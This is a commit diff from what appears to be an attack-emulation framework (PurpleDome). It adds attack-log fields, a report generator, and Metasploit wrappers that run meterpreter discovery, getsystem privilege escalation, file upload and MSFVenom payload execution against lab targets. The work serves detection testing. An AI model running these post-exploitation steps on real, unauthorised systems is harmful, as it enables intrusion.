Merge pull request #11 from avast/documentation_generator

Documentation generator
pull/17/head
Thorsten Sick 3 years ago committed by GitHub
commit db2cce262f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -16,4 +16,7 @@ shipit: test
# More detailed pylint tests.
pylint:
pylint --rcfile=pylint.rc *.py app/*.py plugins/base/*.py
pylint --rcfile=pylint.rc *.py app/*.py plugins/base/*.py
mypy:
mypy app/

@ -4,6 +4,7 @@
import json
import datetime
from random import randint
def __mitre_fix_ttp__(ttp):
@ -45,7 +46,60 @@ class AttackLog():
return datetime.datetime.now().strftime(self.datetime_format)
def start_caldera_attack(self, source, paw, group, ability_id, ttp=None, name=None, description=None, obfuscator="default", jitter="default"): # pylint: disable=too-many-arguments
def get_caldera_default_name(self, ability_id):
""" Returns the default name for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "whoami"}
if ability_id not in data:
return None
return data[ability_id]
def get_caldera_default_description(self, ability_id):
""" Returns the default description for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "Obtain user from current session"}
if ability_id not in data:
return None
return data[ability_id]
def get_caldera_default_tactics(self, ability_id):
""" Returns the default tactics for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": " System Owner/User Discovery"}
if ability_id not in data:
return None
return data[ability_id]
def get_caldera_default_tactics_id(self, ability_id):
""" Returns the default name for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "T1033"}
if ability_id not in data:
return None
return data[ability_id]
def get_caldera_default_situation_description(self, ability_id):
""" Returns the default situation description for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None}
if ability_id not in data:
return None
return data[ability_id]
def get_caldera_default_countermeasure(self, ability_id):
""" Returns the default countermeasure for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None}
if ability_id not in data:
return None
return data[ability_id]
def start_caldera_attack(self, source, paw, group, ability_id, ttp=None, **kwargs):
""" Mark the start of a caldera attack
@param source: source of the attack. Attack IP
@ -53,34 +107,41 @@ class AttackLog():
@param group: Caldera group of the targets being attacked
@param ability_id: Caldera ability id of the attack
@param ttp: TTP of the attack (as stated by Caldera internal settings)
@param name: Name of the attack. Data source is Caldera internal settings
@param description: Descirption of the attack. Caldera is the source
@param obfuscator: C&C obfuscator being used
@param jitter: Jitter being used
"""
data = {"timestamp": self.__get_timestamp__(),
timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"timestamp_end": None,
"event": "start",
"type": "attack",
"sub-type": "caldera",
"sub_type": "caldera",
"source": source,
"target_paw": paw,
"target_group": group,
"ability_id": ability_id,
"hunting_tag": __mitre_fix_ttp__(ttp),
"name": name or "",
"description": description or "",
"obfuscator": obfuscator,
"jitter": jitter
"logid": logid,
"name": kwargs.get("name", self.get_caldera_default_name(ability_id)),
"description": kwargs.get("description", self.get_caldera_default_description(ability_id)),
"tactics": kwargs.get("tactics", self.get_caldera_default_tactics(ability_id)),
"tactics_id": kwargs.get("tactics_id", self.get_caldera_default_tactics_id(ability_id)),
"situation_description": kwargs.get("situation_description", self.get_caldera_default_situation_description(ability_id)), # Description for the situation this attack was run in. Set by the plugin or attacker emulation
"countermeasure": kwargs.get("countermeasure", self.get_caldera_default_countermeasure(ability_id)), # Set by the attack
"obfuscator": kwargs.get("obfuscator", "default"),
"jitter": kwargs.get("jitter", "default"),
}
self.__add_to_log__(data)
return logid
# TODO: Add parameter
# TODO: Add config
# TODO: Add results
def stop_caldera_attack(self, source, paw, group, ability_id, ttp=None, name=None, description=None, obfuscator="default", jitter="default"): # pylint: disable=too-many-arguments
def stop_caldera_attack(self, source, paw, group, ability_id, ttp=None, **kwargs):
""" Mark the end of a caldera attack
@param source: source of the attack. Attack IP
@ -97,16 +158,17 @@ class AttackLog():
data = {"timestamp": self.__get_timestamp__(),
"event": "stop",
"type": "attack",
"sub-type": "caldera",
"sub_type": "caldera",
"source": source,
"target_paw": paw,
"target_group": group,
"ability_id": ability_id,
"hunting_tag": __mitre_fix_ttp__(ttp),
"name": name or "",
"description": description or "",
"obfuscator": obfuscator,
"jitter": jitter
"name": kwargs.get("name", ""),
"description": kwargs.get("description", ""),
"obfuscator": kwargs.get("obfuscator", "default"),
"jitter": kwargs.get("jitter", "default"),
"logid": kwargs.get("logid", None)
}
self.__add_to_log__(data)
@ -118,33 +180,44 @@ class AttackLog():
@param file_name: Name of the file being written
"""
data = {"timestamp": self.__get_timestamp__(),
timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"timestamp_end": None,
"event": "start",
"type": "dropping_file",
"sub-type": "by PurpleDome",
"sub_type": "by PurpleDome",
"source": source,
"target": target,
"file_name": file_name
"file_name": file_name,
"logid": logid
}
self.__add_to_log__(data)
return logid
def stop_file_write(self, source, target, file_name):
def stop_file_write(self, source, target, file_name, **kwargs):
""" Mark the stop of a file being written to the target (payload !)
@param source: source of the attack. Attack IP (empty if written from controller)
@param target: Target machine of the attack
@param attack_name: Name of the attack. From plugin
@param file_name: Name of the file being written
@param logid: logid of the corresponding start command
kwargs: logid to link to start_file_write
"""
data = {"timestamp": self.__get_timestamp__(),
"event": "stop",
"type": "dropping_file",
"sub-type": "by PurpleDome",
"sub_type": "by PurpleDome",
"source": source,
"target": target,
"file_name": file_name
"file_name": file_name,
"logid": kwargs.get("logid", None)
}
self.__add_to_log__(data)
def start_execute_payload(self, source, target, command):
@ -155,36 +228,45 @@ class AttackLog():
@param command: Name of the file being written
"""
data = {"timestamp": self.__get_timestamp__(),
timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"timestamp_end": None,
"event": "start",
"type": "execute_payload",
"sub-type": "by PurpleDome",
"sub_type": "by PurpleDome",
"source": source,
"target": target,
"command": command
"command": command,
"logid": logid
}
self.__add_to_log__(data)
def stop_execute_payload(self, source, target, command):
return logid
def stop_execute_payload(self, source, target, command, **kwargs):
""" Mark the stop of a payload being executed
@param source: source of the attack. Attack IP (empty if written from controller)
@param target: Target machine of the attack
@param command: Name of the attack. From plugin
@param file_name: Name of the file being written
@param kwargs: logid to link to start_file_write
"""
data = {"timestamp": self.__get_timestamp__(),
"event": "stop",
"type": "execute_payload",
"sub-type": "by PurpleDome",
"sub_type": "by PurpleDome",
"source": source,
"target": target,
"command": command
"command": command,
"logid": kwargs.get("logid", None)
}
self.__add_to_log__(data)
def start_kali_attack(self, source, target, attack_name, ttp=None):
def start_kali_attack(self, source, target, attack_name, ttp=None, **kwargs):
""" Mark the start of a Kali based attack
@param source: source of the attack. Attack IP
@ -193,22 +275,36 @@ class AttackLog():
@param ttp: TTP of the attack. From plugin
"""
data = {"timestamp": self.__get_timestamp__(),
timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"timestamp_end": None,
"event": "start",
"type": "attack",
"sub-type": "kali",
"sub_type": "kali",
"source": source,
"target": target,
"kali_name": attack_name,
"hunting_tag": __mitre_fix_ttp__(ttp),
"logid": logid,
"name": kwargs.get("name", None), # Human readable name of the attack
"kali_command": kwargs.get("kali_command", None),
"tactics": kwargs.get("tactics", None),
"tactics_id": kwargs.get("tactics_id", None),
"description": kwargs.get("description", None), # Generic description for this attack. Set by the attack
"situation_description": kwargs.get("situation_description", None), # Description for the situation this attack was run in. Set by the plugin or attacker emulation
"countermeasure": kwargs.get("countermeasure", None), # Set by the attack
}
self.__add_to_log__(data)
return logid
# TODO: Add parameter
# TODO: Add config
# TODO: Add results
def stop_kali_attack(self, source, target, attack_name, ttp=None):
def stop_kali_attack(self, source, target, attack_name, ttp=None, **kwargs):
""" Mark the end of a Kali based attack
@param source: source of the attack. Attack IP
@ -220,15 +316,92 @@ class AttackLog():
data = {"timestamp": self.__get_timestamp__(),
"event": "stop",
"type": "attack",
"sub-type": "kali",
"sub_type": "kali",
"source": source,
"target": target,
"kali_name": attack_name,
"hunting_tag": __mitre_fix_ttp__(ttp),
"logid": kwargs.get("logid", None)
}
self.__add_to_log__(data)
def start_narration(self, text):
""" Add some user defined narration. Can be used in plugins to describe the situation before and after the attack, ...
At the moment there is no stop narration command. I do not think we need one. But I want to stick to the structure
@param text: Text of the narration
"""
timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"event": "start",
"type": "narration",
"sub_type": "user defined narration",
"text": text,
}
self.__add_to_log__(data)
return logid
def start_metasploit_attack(self, source, target, metasploit_command, ttp=None):
def start_build(self, **kwargs):
""" Mark the start of a tool building/compilation process
@param source: source of the attack. Attack IP
@param target: Target machine of the attack
@param attack_name: Name of the attack. From plugin
@param ttp: TTP of the attack. From plugin
"""
timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"timestamp_end": None,
"event": "start",
"type": "build",
# "sub_type": "",
"logid": logid,
"dl_uri": kwargs.get("dl_uri", None),
"dl_uris": kwargs.get("dl_uris", None),
"payload": kwargs.get("payload", None),
"platform": kwargs.get("platform", None),
"architecture": kwargs.get("architecture", None),
"lhost": kwargs.get("lhost", None),
"lport": kwargs.get("lport", None),
"filename": kwargs.get("filename", None),
"encoding": kwargs.get("encoding", None),
"encoded_filename": kwargs.get("encoded_filename", None),
"sRDI_conversion": kwargs.get("sRDI_conversion", False),
"for_step": kwargs.get("for_step", None),
"comment": kwargs.get("comment", None),
}
self.__add_to_log__(data)
return logid
# TODO: Add parameter
# TODO: Add config
# TODO: Add results
def stop_build(self, **kwargs):
""" Mark the end of a tool building/compilation process
@param source: source of the attack. Attack IP
@param target: Target machine of the attack
@param attack_name: Name of the attack. From plugin
@param ttp: TTP of the attack. From plugin
"""
data = {"timestamp": self.__get_timestamp__(),
"event": "stop",
"type": "build",
# "sub_type": "",
"logid": kwargs.get("logid", None)
}
self.__add_to_log__(data)
def start_metasploit_attack(self, source, target, metasploit_command, ttp=None, **kwargs):
""" Mark the start of a Metasploit based attack
@param source: source of the attack. Attack IP
@ -237,18 +410,31 @@ class AttackLog():
@param ttp: TTP of the attack. From plugin
"""
data = {"timestamp": self.__get_timestamp__(),
timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"timestamp_end": None,
"event": "start",
"type": "attack",
"sub-type": "metasploit",
"sub_type": "metasploit",
"source": source,
"target": target,
"metasploit_command": metasploit_command,
"hunting_tag": __mitre_fix_ttp__(ttp),
"logid": logid,
"name": kwargs.get("name", None), # Human readable name of the attack
"tactics": kwargs.get("tactics", None),
"tactics_id": kwargs.get("tactics_id", None),
"description": kwargs.get("description", None), # Generic description for this attack. Set by the attack
"situation_description": kwargs.get("situation_description", None), # Description for the situation this attack was run in. Set by the plugin or attacker emulation
"countermeasure": kwargs.get("countermeasure", None), # Set by the attack
}
self.__add_to_log__(data)
def stop_metasploit_attack(self, source, target, metasploit_command, ttp=None):
return logid
def stop_metasploit_attack(self, source, target, metasploit_command, ttp=None, **kwargs):
""" Mark the start of a Metasploit based attack
@param source: source of the attack. Attack IP
@ -260,11 +446,12 @@ class AttackLog():
data = {"timestamp": self.__get_timestamp__(),
"event": "stop",
"type": "attack",
"sub-type": "metasploit",
"sub_type": "metasploit",
"source": source,
"target": target,
"metasploit_command": metasploit_command,
"hunting_tag": __mitre_fix_ttp__(ttp),
"logid": kwargs.get("logid", None)
}
self.__add_to_log__(data)
@ -277,38 +464,46 @@ class AttackLog():
@param ttp: TTP of the attack. From plugin
"""
data = {"timestamp": self.__get_timestamp__(),
timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"timestamp_end": None,
"event": "start",
"type": "attack",
"sub-type": "attack_plugin",
"sub_type": "attack_plugin",
"source": source,
"target": target,
"plugin_name": plugin_name,
"hunting_tag": __mitre_fix_ttp__(ttp),
"logid": logid
}
self.__add_to_log__(data)
return logid
# TODO: Add parameter
# TODO: Add config
# TODO: Add results
def stop_attack_plugin(self, source, target, plugin_name, ttp=None):
def stop_attack_plugin(self, source, target, plugin_name, **kwargs):
""" Mark the end of an attack plugin
@param source: source of the attack. Attack IP
@param target: Target machine of the attack
@param plugin_name: Name of the plugin
@param ttp: TTP of the attack. From plugin
@param logid: logid of the corresponding start command
@param kwargs: *ttp*, *logid*
"""
data = {"timestamp": self.__get_timestamp__(),
"event": "stop",
"type": "attack",
"sub-type": "attack_plugin",
"sub_type": "attack_plugin",
"source": source,
"target": target,
"plugin_name": plugin_name,
"hunting_tag": __mitre_fix_ttp__(ttp),
"hunting_tag": __mitre_fix_ttp__(kwargs.get("ttp", None)),
"logid": kwargs.get("logid", None)
}
self.__add_to_log__(data)
@ -320,11 +515,31 @@ class AttackLog():
with open(filename, "wt") as fh:
json.dump(self.get_dict(), fh)
def post_process(self):
""" Post process the data before using it """
for entry in self.log:
if entry["event"] == "stop" and "logid" in entry and entry["logid"] is not None:
# Search for matching start event and add timestamp
logid = entry["logid"]
for replace_entry in self.log:
if replace_entry["event"] == "start" and "logid" in replace_entry and replace_entry["logid"] == logid:
# Found matching start event. Updating it
replace_entry["timestamp_end"] = entry["timestamp"]
def get_dict(self):
""" Return logged data in dict format """
return self.log
# TODO: doc_start_environment
# TODO: doc_describe_attack
# TODO: doc_attack_step
# TODO: Return full doc
def vprint(self, text, verbosity):
""" verbosity based stdout printing

@ -589,7 +589,7 @@ class CalderaControl():
# ######## All inclusive methods
def attack(self, paw="kickme", ability_id="bd527b63-9f9e-46e0-9816-b8434d2b8989", group="red", target_platform=None, parameters=None):
def attack(self, paw="kickme", ability_id="bd527b63-9f9e-46e0-9816-b8434d2b8989", group="red", target_platform=None, parameters=None, **kwargs):
""" Attacks a system and returns results
@param paw: Paw to attack
@ -633,7 +633,8 @@ class CalderaControl():
name=self.get_ability(ability_id)[0]["name"],
description=self.get_ability(ability_id)[0]["description"],
obfuscator=obfuscator,
jitter=jitter
jitter=jitter,
**kwargs
)
# ##### Create / Run Operation

@ -67,7 +67,7 @@ class MachineConfig():
try:
return self.raw_config["vm_controller"]["ip"]
except KeyError:
return None
return self.vmname()
def os(self): # pylint: disable=invalid-name
""" returns the os. lowercase """
@ -178,12 +178,12 @@ class ExperimentConfig():
for attacker in self.raw_config["attackers"]:
self._attackers.append(MachineConfig(self.raw_config["attackers"][attacker]))
def targets(self) -> [MachineConfig]:
def targets(self) -> list[MachineConfig]:
""" Return config for targets as MachineConfig objects """
return self._targets
def attackers(self) -> [MachineConfig]:
def attackers(self) -> list[MachineConfig]:
""" Return config for attackers as MachineConfig objects """
return self._attackers

@ -67,7 +67,8 @@ class Experiment():
pass
target_1.install_caldera_service()
target_1.up()
needs_reboot = target_1.prime_sensors()
needs_reboot = target_1.prime_vulnerabilities()
needs_reboot |= target_1.prime_sensors()
if needs_reboot:
target_1.reboot()
self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}Target is up: {tname} {CommandlineColors.ENDC}", 1)
@ -182,6 +183,7 @@ class Experiment():
target_1.halt()
self.__stop_attacker()
self.attack_logger.post_process()
self.attack_logger.write_json(os.path.join(self.lootdir, "attack.json"))
self.zip_loot(zip_this)

@ -212,7 +212,7 @@ class Machine():
plugin.install()
self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}Installed sensor: {name}{CommandlineColors.ENDC}", 2)
def get_sensors(self) -> [SensorPlugin]:
def get_sensors(self) -> list[SensorPlugin]:
""" Returns a list of running sensors """
return self.sensors
@ -262,6 +262,31 @@ class Machine():
############
def prime_vulnerabilities(self):
""" Prime vulnerabilities from plugins (hard core installs that could require a reboot)
A machine can have several vulnerabilities. Those are defined in a list in the config.
"""
reboot = False
for plugin in self.plugin_manager.get_plugins(VulnerabilityPlugin, self.config.vulnerabilities()):
name = plugin.get_name()
self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Priming vulnerability: {name}{CommandlineColors.ENDC}", 2)
syscon = {"abs_machinepath_internal": self.abs_machinepath_internal,
"abs_machinepath_external": self.abs_machinepath_external,
}
plugin.set_sysconf(syscon)
plugin.set_machine_plugin(self.vm_manager)
plugin.process_config({}) # plugin specific configuration
plugin.setup()
reboot |= plugin.prime()
self.vulnerabilities.append(plugin)
self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}Primed vulnerability: {name}{CommandlineColors.ENDC}", 2)
return reboot
def install_vulnerabilities(self):
""" Install vulnerabilities from plugins: The machine is not yet modified ! For that call start_vulnerabilities next
@ -280,9 +305,9 @@ class Machine():
plugin.set_machine_plugin(self.vm_manager)
plugin.setup()
plugin.install(self.vm_manager)
self.vulnerabilities.append(plugin)
# self.vulnerabilities.append(plugin)
def get_vulnerabilities(self) -> [VulnerabilityPlugin]:
def get_vulnerabilities(self) -> list[VulnerabilityPlugin]:
""" Returns a list of installed vulnerabilities """
return self.vulnerabilities

@ -147,7 +147,7 @@ class Metasploit():
retries -= 1
raise MetasploitError(f"Could not find session for {target.get_ip()} Name resolution worked: {name_resolution_worked}")
def meterpreter_execute(self, cmds: [str], session_number: int, delay=0) -> str:
def meterpreter_execute(self, cmds: list[str], session_number: int, delay=0) -> list[str]:
""" Executes commands on the meterpreter, returns results read from shell
@param cmds: commands to execute, a list
@ -164,7 +164,7 @@ class Metasploit():
res.append(shell.read())
return res
def meterpreter_execute_on(self, cmds: [str], target, delay=0) -> str:
def meterpreter_execute_on(self, cmds: list[str], target, delay=0) -> list[str]:
""" Executes commands on the meterpreter, returns results read from shell
@param cmds: commands to execute, a list
@ -313,12 +313,12 @@ class MSFVenom():
1)
# Deploy to target
if self.attack_logger:
self.attack_logger.start_file_write("", self.target.get_name(), payload_name)
logid = self.attack_logger.start_file_write("", self.target.get_name(), payload_name)
playground = self.target.get_playground()
print(f"Putting to playground {playground}")
print(f"Putting to {self.target.get_name() }/ {playground}")
self.target.put(src, playground)
if self.attack_logger:
self.attack_logger.stop_file_write("", self.target.get_name(), payload_name)
self.attack_logger.stop_file_write("", self.target.get_name(), payload_name, logid=logid)
if self.target.get_os() == "linux":
if self.target.get_playground() is not None:
@ -332,11 +332,11 @@ class MSFVenom():
print(cmd)
if self.attack_logger:
self.attack_logger.start_execute_payload("", self.target.get_name(), cmd)
logid = self.attack_logger.start_execute_payload("", self.target.get_name(), cmd)
res = self.target.remote_run(cmd, disown=True)
print(f"Running payload, result is {res}")
if self.attack_logger:
self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd)
self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd, logid=logid)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Executed payload {payload_name} on {self.target.get_name()} {CommandlineColors.ENDC}",
1)
@ -402,25 +402,36 @@ class MetasploitInstant(Metasploit):
res = [item for item in res if item["Arch"] == arch]
return res
def ps_process_discovery(self, target):
def ps_process_discovery(self, target, **kwargs):
""" Do a process discovery on the target """
command = "ps -ax"
ttp = "T1057"
tactics = "Discovery"
tactics_id = "TA0007"
description = "Process discovery can be used to identify running security solutions, processes with elevated privileges, interesting services."
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp,
name="ps",
description=description,
tactics=tactics,
tactics_id=tactics_id,
situation_description=kwargs.get("situation_description", None),
countermeasure=kwargs.get("countermeasure", None)
)
res = self.meterpreter_execute_on([command], target)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
ttp=ttp,
logid=logid)
return res
def migrate(self, target, user=None, name=None, arch=None):
@ -457,47 +468,112 @@ class MetasploitInstant(Metasploit):
ttp=ttp)
return res
def arp_network_discovery(self, target):
def arp_network_discovery(self, target, **kwargs):
""" Do a network discovery on the target """
command = "arp"
ttp = "T1016"
tactics = "Discovery"
tactics_id = "TA0007"
description = "Network discovery can be a first step for lateral movement."
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp,
name="arp",
description=description,
tactics=tactics,
tactics_id=tactics_id,
situation_description=kwargs.get("situation_description",
None),
countermeasure=kwargs.get("countermeasure", None)
)
res = self.meterpreter_execute_on([command], target)
print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
ttp=ttp,
logid=logid)
return res
def nslookup(self, target, target2, **kwargs):
""" Do a nslookup discovery on the target
@param target: Command runs here
@param target2: This one is looked up
"""
command = f"execute -f nslookup.exe -H -i -a '{target2.get_ip()}'"
ttp = "T1018"
tactics = "Discovery"
tactics_id = "TA0007"
description = "Nslookup to get information on a specific target"
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp,
name="nslookup",
description=description,
tactics=tactics,
tactics_id=tactics_id,
situation_description=kwargs.get("situation_description",
None),
countermeasure=kwargs.get("countermeasure", None)
)
res = self.meterpreter_execute_on([command], target)
print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp,
logid=logid)
return res
def getsystem(self, target):
def getsystem(self, target, **kwargs):
""" Do a network discovery on the target """
command = "getsystem"
ttp = "????" # It uses one out of three different ways to elevate privileges.
tactics = "Privilege Escalation"
tactics_id = "TA0004"
description = """
Elevate privileges from local administrator to SYSTEM. Three ways to do that will be tried:
* named pipe impersonation using cmd
* named pipe impersonation using a dll
* token duplication
"""
# https://docs.rapid7.com/metasploit/meterpreter-getsystem/
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp,
name="getsystem",
description=description,
tactics=tactics,
tactics_id=tactics_id,
situation_description=kwargs.get("situation_description", None),
countermeasure=kwargs.get("countermeasure", None)
)
res = self.meterpreter_execute_on([command], target)
print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
ttp=ttp,
logid=logid)
return res
def clearev(self, target):
@ -625,3 +701,42 @@ class MetasploitInstant(Metasploit):
metasploit_command=command,
ttp=ttp)
return res[0]
def upload(self, target, src, dst, **kwargs):
""" Upload file from metasploit controller to target
@param src: source file name on metasploit controller
@param dst: destination file name on target machine
"""
command = f"upload {src} '{dst}' "
ttp = "????" # It uses one out of three different ways to elevate privileges.
tactics = "???"
tactics_id = "???"
description = """
Uploading new files to the target. Can be config files, tools, implants, ...
"""
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp,
name="upload",
description=description,
tactics=tactics,
tactics_id=tactics_id,
situation_description=kwargs.get("situation_description",
None),
countermeasure=kwargs.get("countermeasure", None)
)
res = self.meterpreter_execute_on([command], target, kwargs.get("delay", 10))
print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp,
logid=logid)
return res

@ -35,7 +35,7 @@ class PluginManager():
self.base = "plugins/**/*.py"
self.attack_logger = attack_logger
def get_plugins(self, subclass, name_filter=None) -> [BasePlugin]:
def get_plugins(self, subclass, name_filter=None) -> list[BasePlugin]:
""" Returns a list plugins matching specified criteria
@ -46,7 +46,7 @@ class PluginManager():
res = []
def get_handlers(a_plugin) -> [subclass]:
def get_handlers(a_plugin):
return a_plugin.produce()
plugin_dirs = set()

@ -0,0 +1,41 @@
#!/usr/bin/env python3
# A standalon document generator. Takes an attack log and generates a doc using templates. Functionality will later be merged into PurpleDome
import json
from jinja2 import Environment, FileSystemLoader, select_autoescape
# from pprint import pprint
def generate(jfile, outfile):
env = Environment(
loader=FileSystemLoader("templates", encoding='utf-8', followlinks=False),
autoescape=select_autoescape(),
trim_blocks=True,
lstrip_blocks=True
)
template = env.get_template("attack_description.rst")
with open(jfile) as fh:
events = json.load(fh)
print(template.render(events=events))
# pprint(events)
# dest = os.path.join(self.get_plugin_path(), "filebeat.conf")
# with open(dest, "wt") as fh:
# res = template.render({"playground": self.get_playground()})
# fh.write(res)
if __name__ == "__main__":
# generate("loot/2021_07_19___16_28_45/attack.json", "tools/human_readable_documentation/contents.rst") # Working example for a short run
# generate("loot/2021_07_20___08_26_33/attack.json", "tools/human_readable_documentation/contents.rst") # FIN 7 #1
# generate("loot/2021_07_20___10_07_36/attack.json", "tools/human_readable_documentation/contents.rst") # FIN 7 #2 The one Fabrizio got
#generate("loot/2021_07_28___12_09_00/attack.json",
# "tools/human_readable_documentation/contents.rst") # FIN 7 The last minute locally generated thing
generate("loot/2021_08_30___14_40_23/attack.json",
"tools/human_readable_documentation/contents.rst") # FIN 7 With genereated files added
# generate("loot/2021_07_19___15_10_45/attack.json", "tools/human_readable_documentation/contents.rst")
# generate("removeme.json", "tools/human_readable_documentation/contents.rst")

@ -103,7 +103,7 @@ class AttackPlugin(BasePlugin):
"""
self.caldera = caldera
def caldera_attack(self, target, ability_id, parameters=None):
def caldera_attack(self, target, ability_id, parameters=None, **kwargs):
""" Attack a single target using caldera
@param target: Target machine object
@ -115,7 +115,8 @@ class AttackPlugin(BasePlugin):
ability_id=ability_id,
group=target.get_group(),
target_platform=target.get_os(),
parameters=parameters
parameters=parameters,
**kwargs
)
def get_attacker_playground(self):

@ -48,7 +48,7 @@ class SSHFeatures(BasePlugin):
args["password"] = self.config.ssh_password()
self.vprint(args, 3)
uhp = self.get_ip()
self.vprint(uhp, 3)
self.vprint(f"IP to connect to: {uhp}", 3)
self.connection = Connection(uhp, connect_timeout=timeout, user=self.config.ssh_user(), connect_kwargs=args)
except (paramiko.ssh_exception.SSHException, socket.timeout):
self.vprint(f"Failed to connect, will retry {retries} times. Timeout: {timeout}", 0)
@ -81,6 +81,7 @@ class SSHFeatures(BasePlugin):
result = None
retry = 2
while retry > 0:
do_retry = False
try:
result = self.connection.run(cmd, disown=disown)
print(result)
@ -88,6 +89,11 @@ class SSHFeatures(BasePlugin):
except (paramiko.ssh_exception.NoValidConnectionsError, UnexpectedExit, paramiko.ssh_exception.SSHException) as error:
if retry <= 0:
raise NetworkError from error
do_retry = True
except paramiko.ssh_exception.NoValidConnectionsError as error:
self.vprint(f"No valid connection. Errors: {error.errors}", 1)
do_retry = True
if do_retry:
self.disconnect()
self.connect()
retry -= 1
@ -117,19 +123,26 @@ class SSHFeatures(BasePlugin):
retries = 10
retry_sleep = 10
timeout = 30
while retries:
while retries > 0:
do_retry = False
try:
res = self.connection.put(src, dst)
except (paramiko.ssh_exception.SSHException, socket.timeout, UnexpectedExit):
self.vprint(f"PUT Failed to connect, will retry {retries} times. Timeout: {timeout}", 3)
self.vprint("PUT Failed to connect", 1)
do_retry = True
except paramiko.ssh_exception.NoValidConnectionsError as error:
self.vprint(f"No valid connection. Errors: {error.errors}", 1)
do_retry = True
except FileNotFoundError as error:
self.vprint(f"File not found: {error}", 0)
break
if do_retry:
self.vprint(f"Will retry {retries} times. Timeout: {timeout}", 3)
retries -= 1
timeout += 10
time.sleep(retry_sleep)
self.disconnect()
self.connect()
except FileNotFoundError as error:
self.vprint(f"File not found: {error}", 0)
break
else:
return res
self.vprint("SSH network error on PUT command", 0)
@ -149,18 +162,24 @@ class SSHFeatures(BasePlugin):
retry = 2
while retry > 0:
do_retry = False
try:
res = self.connection.get(src, dst)
except (paramiko.ssh_exception.NoValidConnectionsError, UnexpectedExit) as error:
if retry <= 0:
raise NetworkError from error
do_retry = True
except paramiko.ssh_exception.NoValidConnectionsError as error:
self.vprint(f"No valid connection. Errors: {error.errors}", 1)
do_retry = True
except FileNotFoundError as error:
self.vprint(error, 0)
break
if do_retry:
self.disconnect()
self.connect()
retry -= 1
self.vprint("Got some SSH errors. Retrying", 2)
except FileNotFoundError as error:
self.vprint(error, 0)
break
else:
break

@ -21,6 +21,11 @@ class VulnerabilityPlugin(BasePlugin):
super().__init__() # pylint:disable=useless-super-delegation
self.debugit = False
def prime(self):
""" Early install. Can reboot the machine if it returns True after installation. """
return False
def install(self, machine_plugin=None):
""" This is setting up everything up to the point where the machine itself would be modified. But system
modification is done by start

@ -4,7 +4,7 @@
from plugins.base.attack import AttackPlugin
from app.interface_sfx import CommandlineColors
from app.metasploit import MSFVenom, Metasploit
from app.metasploit import MSFVenom, MetasploitInstant
import os
import time
@ -32,13 +32,29 @@ class FIN7Plugin(AttackPlugin):
if self.metasploit_1:
return self.metasploit_1
self.metasploit_1 = Metasploit(self.metasploit_password, attack_logger=self.attack_logger, attacker=self.attacker_machine_plugin, username=self.metasploit_user)
